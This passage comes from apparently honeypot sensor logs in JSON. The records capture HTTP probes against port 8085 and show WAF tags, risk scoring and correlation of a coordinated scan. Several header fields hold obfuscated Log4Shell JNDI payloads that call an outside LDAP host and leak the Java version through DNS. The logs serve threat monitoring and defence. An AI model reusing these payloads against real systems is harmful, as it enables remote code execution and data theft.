\u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8085","http_user_agent":"${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y:-l}${5l:f:-d}${kvmu:luqr:8o6e:-a}${096:0k:-p}${0q:0:bm87:-:}${vx5:o2yd:-\/}${9bh:75:-\/}${ols:i9:-U}${0:ievg:rl:-A}${5s1k:y:gqk:-l}${t630:-0}${7rh4:-c}${olhw:--}${${fm:a3yi:-s}${a36n:jnx:g:-y}${n:-s}${nbr4:-:}${now:a8:-j}${b:a:7:-a}${tz1:-v}${wo:l:3:-a}${l:sv:-.}${k79:-v}${h1:v8g:d7it:-e}${18:-r}${6ceo:-s}${l9:7y:-i}${0s:cv:m:-o}${r:u7yp:-n}}${m6:j6x:er:-.}${gxcs:nf:-e}${s:un:-7}${x60:f:-d}${x:4y:ni:-b}${f:f2k:-8}${gb:d:-c}${1jum:-7}${n:4:-c}${i39v:sw:-3}${ndzt:-7}${fi:-d}${yx09:4j:rugv:-3}${gx:tv0:z50:-3}${p056:3fk:d:-2}${82:kx:e:-1}${514:0t:-2}${o:uea:7ay:-e}${t:vc:-d}${0:x7:pc5:-e}${g9h:w09:u:-6}${ci:-d}${0mr:-6}${52n:gj:n:-0}${zm:et3:-0}${wpn9:snp1:-4}${5:b:-e}${c:-a}${yrd:msd:pko7:-7}${xjp:-3}${yd:n7:-8}${om:h5a1:-1}${t:-5}${4i:-3}${9:bd:-3}${cb1j:-8}${d3:wd:-f}${9a43:d:s:-d}${ohjx:-9}${32:f:-0}${3:3cd:-e}${xqcg:-2}${7rgt:-a}${50hq:d0y:-.}${n2wj:-d}${3:-n}${6aty:-s}${a:p:--}${k:w0e:-e}${1:-x}${wlb:-f}${v:365:tnk:-i}${4lw9:jo20:dil8:-l}${vg9:poy:-.}${rsbz:-m}${fj9:-a}${59l:-s}${j:3a:0yh:-m}${j:h:2dri:-c}${3v:-o}${0bd:l2t:0hiq:-r}${zwr:-e}${g:3w1:wgs:--}${od18:-c}${4a1:b:-f}${x:3:--}${qmx4:h:-p}${zpl:9n3k:g:-r}${6ms:1:-o}${7o:e4z:b:-d}${m24:fx:--}${8cux:l9j:jqf:-0}${wkt1:-2}${3bqu:fou:fqk:-.}${e0l:-m}${97rl:0w7:bow:-a}${v3:-s}${6:-m}${4z0k:-.}${n3:8dbh:6tz:-c}${k:g9:1mi7:-l}${2rh:3:-o}${4:7:j3d8:-u}${3zm:pjyu:re:-d}${m:-f}${w:aqlh:-e}${3khz:b:-r}${v2j:-r}${v:706b:peab:-y}${hp:q:kt:-.}${xbo:-g}${bg:8:l:-o}${h0g:z:5jb:-o}${kpb:kjf7:-g}}","http_referer":null,"tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":4096},{"id":14680186,"ip":"34.19.116.51","ts":"2026-07-31 15:35:41.000000","proto":"tcp","src_port":36867,"dst_port":8085,"service":"http","classification":"port_8085_tcp","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"POST","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00228a400558091fc07dbe5448e55c1574d7b56b9391\u0022, \u0022http_host_hash\u0022: \u00228307e910dac7083f4f0d52abcc8375f89d55b254\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: \u0022a112e2b73a75f072d367a2bc7e1124afd4976be9\u0022, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.790397020488305, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8085, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 48.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 5.8, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 48, \u0022tag_count\u0022: 5, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022353fddb5abd144485e7128e1a80c79314ebed98a\u0022, \u0022event_fingerprint\u0022: \u00220fcaa6a995d1cdf34f87aa636ef596625b2ef958\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.68, \u0022classification_confidence\u0022: 0.68, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 48, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002296a8e5827f43f9403e2c0424fdcfec62\u0022, \u0022payload_hash\u0022: \u0022fa031191cd8a80c2604c408b30522a33\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 48}, \u0022payload_preview\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-\/}${ax:-\/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:2hfv:q2:-l}${x1tr:f:v4i:-0}${40r:a:-c}${2:--}${${k:ctz:m:-s}${7x\u2026\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-\/}${ax:-\/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:\u0022, \u0022payload_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-\/}${ax:-\/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:2hfv:q2:-l}${x1tr:f:v4i:-0}${40r:a:-c}${2:--}${${k:ctz:m:-s}${7x\u2026\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-\/}${ax:-\/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:\u0022, \u0022payload_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022f7661a6a0ce55dbe2a32cff65d7b0da99b73e7a4\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr\u2026\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:\u0022, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u00b7 risque 48\/100\u0022, \u0022confidence_pct\u0022: 68, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 48, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 48, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8085, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr\u2026\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)\u0022, \u0022evidence_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8085\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 68 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228085\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8085","http_user_agent":"${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-\/}${ax:-\/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:2hfv:q2:-l}${x1tr:f:v4i:-0}${40r:a:-c}${2:--}${${k:ctz:m:-s}${7x3:o4n:-y}${fu:wn:-s}${bjz:-:}${mce:gci:e:-j}${z:-a}${92:30ns:-v}${x2t:dw:vwt7:-a}${xw4:-.}${b9:9y0s:y3h:-v}${701:63bi:o:-e}${0:a:-r}${u:0nc:-s}${37:-i}${8nm7:i:him:-o}${odz:dtx7:-n}}${3p8:lzk:-.}${yp71:-e}${xlwk:7:-7}${y5o:-d}${fn:my:vy0g:-b}${ez2r:2nm:5:-8}${51vk:vbhk:wf:-c}${lr:18:kuz:-7}${m79:8o:q:-c}${j8ot:-3}${p9n:yr:he:-7}${s5a:sme:-d}${3x5:-3}${97:-3}${u74:-2}${6:-1}${w2uy:-2}${1y03:-e}${r3:q4h7:7:-d}${g9:z:-e}${q8it:c7t:-6}${cnm:liut:d6mh:-d}${ouv:u1vs:-6}${652e:-0}${jw:eg:-0}${b4:ngp1:-4}${j2gx:x:-e}${r4:m:-a}${bn:-7}${ip:gva:nf:-3}${z5lo:s2x:-8}${i2qx:-1}${uav1:nah:4o:-5}${x4y:w6t4:-3}${1:vhk:w:-3}${tyw:-8}${j9m:-f}${ld:5r6:-d}${h0:-9}${am:y:-0}${p:-e}${d:zdk:hm:-2}${q:t5f:v0u:-a}${wus:e6g:yuon:-.}${s7:24o:f:-d}${htw:-n}${5r:ga:wn:-s}${w2q:--}${e:v:-e}${a:9z8:-x}${1ye:0fq7:-f}${e:w:1s0:-i}${r:g37j:-l}${c15:t:-.}${48i:-m}${xt9f:1z2h:-a}${1lcr:-s}${5p10:hrq:f4p:-m}${o6ej:ka:-c}${1x8:-o}${jb:nsig:dz94:-r}${ir:e:-e}${8kac:x:--}${fp:hj:-c}${4:-f}${yoek:--}${c16q:-p}${pm8k:pyh:i:-r}${wja0:-o}${kli:q7:ckb:-d}${n:1yo:mej:--}${6ya:-0}${mdy:t:h:-2}${7d:7:-.}${lmz2:c:wpgu:-m}${n:c:7b:-a}${moy8:-s}${3:6vi:k0e:-m}${c:nbw:-.}${x:1ysg:-c}${e:19vy:-l}${n:-o}${3:dka:g1t:-u}${g:fj:sl0u:-d}${ho:-f}${msn1:a:-e}${a7:d:-r}${5s:o:i:-r}${dh:bq68:-y}${z:g:zq1i:-.}${mwo:108:-g}${9:6d7:9:-o}${8:2lb:-o}${uj34:l:-g}}","http_referer":"${${04wd:-j}${9:r:k:-n}${f8:n:gv2:-d}${vr:e1az:-i}${98:-:}${v16:09:-l}${4ksy:bt:-d}${yod:oa:gny:-a}${s61j:-p}${m:wc3n:-:}${r:4:-\/}${dc:-\/}${6nv:-R}${n79h:-E}${mbw:072:-l}${h:un:-0}${z2v:za2:8:-c}${o:6pm:1vnp:--}${${81n:2ar1:-s}${y3c1:-y}${m0k:4w:8fij:-s}${7p4e:4q:-:}${dk4:-j}${5:-a}${ocw9:gf2s:-v}${qhxi:73:w:-a}${cat:g742:-.}${ven:n6:-v}${hx5i:-e}${1:v:2:-r}${p:0:2:-s}${9:3ar:-i}${n:-o}${n9:p2ct:-n}}${4:-.}${3c2:d4x:-e}${y8q:-7}${q8:-d}${mv:-b}${ue:6:-8}${jw:7:-c}${gdl:-7}${ui:-c}${69mh:mw4:6od:-3}${gck:6810:byw:-7}${f:-d}${f4w:-3}${jh5:b:-3}${0:1x:9smq:-2}${0vcw:-1}${4:i:-2}${od:jk:-e}${c2:oe:-d}${x9:-e}${1v4y:-6}${6g:z:y94:-d}${mt:1:5p9w:-6}${a:oycd:a1:-0}${n:-0}${mjng:-4}${f75h:-e}${oi7z:-a}${g6:yn0j:-7}${x:h:gw8:-3}${lhgx:f:-8}${uw:g:fq:-1}${c:-5}${kp:uae:-3}${nue:-3}${m:-8}${0:2eyv:yr1:-f}${l:8:-d}${h:i:-9}${hyl:6:-0}${k:3tc:-e}${n17w:hf:pbr:-2}${apge:-a}${ia4x:9i3:b:-.}${uqo:4f:u:-d}${jeo:esn:h7g:-n}${3jxf:5a:u:-s}${7:y:0cm:--}${104:-e}${vhz:5hex:9lt8:-x}${zj:si9:ewi:-f}${384r:-i}${yhz:-l}${d:b27l:-.}${e5v6:x1:yxp:-m}${oc4e:cv3:-a}${juq:upvh:drmc:-s}${ck:-m}${h9:y8lp:k9r:-c}${r8j:i4h:3bfe:-o}${687:q:-r}${qa7:soy9:-e}${z4:o0:--}${i:-c}${ekn:1zc:e:-f}${mh:yq:--}${p:3r12:-p}${p2:nel:juq:-r}${4:ykxr:-o}${sg2:hpil:-d}${m5:u6ce:--}${lku:-0}${1:w:b5r:-2}${7cjy:ozpu:-.}${0bis:c:fapo:-m}${khn9:bs:q2c:-a}${i:2zc:-s}${nfw:cq:1t:-m}${w:-.}${r9:su2:vaui:-c}${k2:oz7n:8z:-l}${s:ci:b7ua:-o}${rlsf:tei3:3vo:-u}${ld0:x:-d}${p:-f}${ix8:oc1p:uic6:-e}${5ip2:-r}${4:4:vxc4:-r}${jwb:-y}${ay6:mk7:o:-.}${6hf0:lcxk:-g}${l2x:1:-o}${g:1w:nt:-o}${n:t:-g}}","tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":4096},{"id":14680132,"ip":"34.19.116.51","ts":"2026-07-31 15:35:40.000000","proto":"tcp","src_port":14276,"dst_port":8085,"service":"http","classification":"port_8085_tcp","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 6, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u00228307e910dac7083f4f0d52abcc8375f89d55b254\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.892177577374536, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8085, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 48.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.8, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 50, \u0022tag_count\u0022: 8, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022c5fadf0e4d9b9608c177c6b326e49f5c64686300\u0022, \u0022event_fingerprint\u0022: \u00220fcaa6a995d1cdf34f87aa636ef596625b2ef958\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.68, \u0022classification_confidence\u0022: 0.68, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022, \u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022, \u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022, \u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 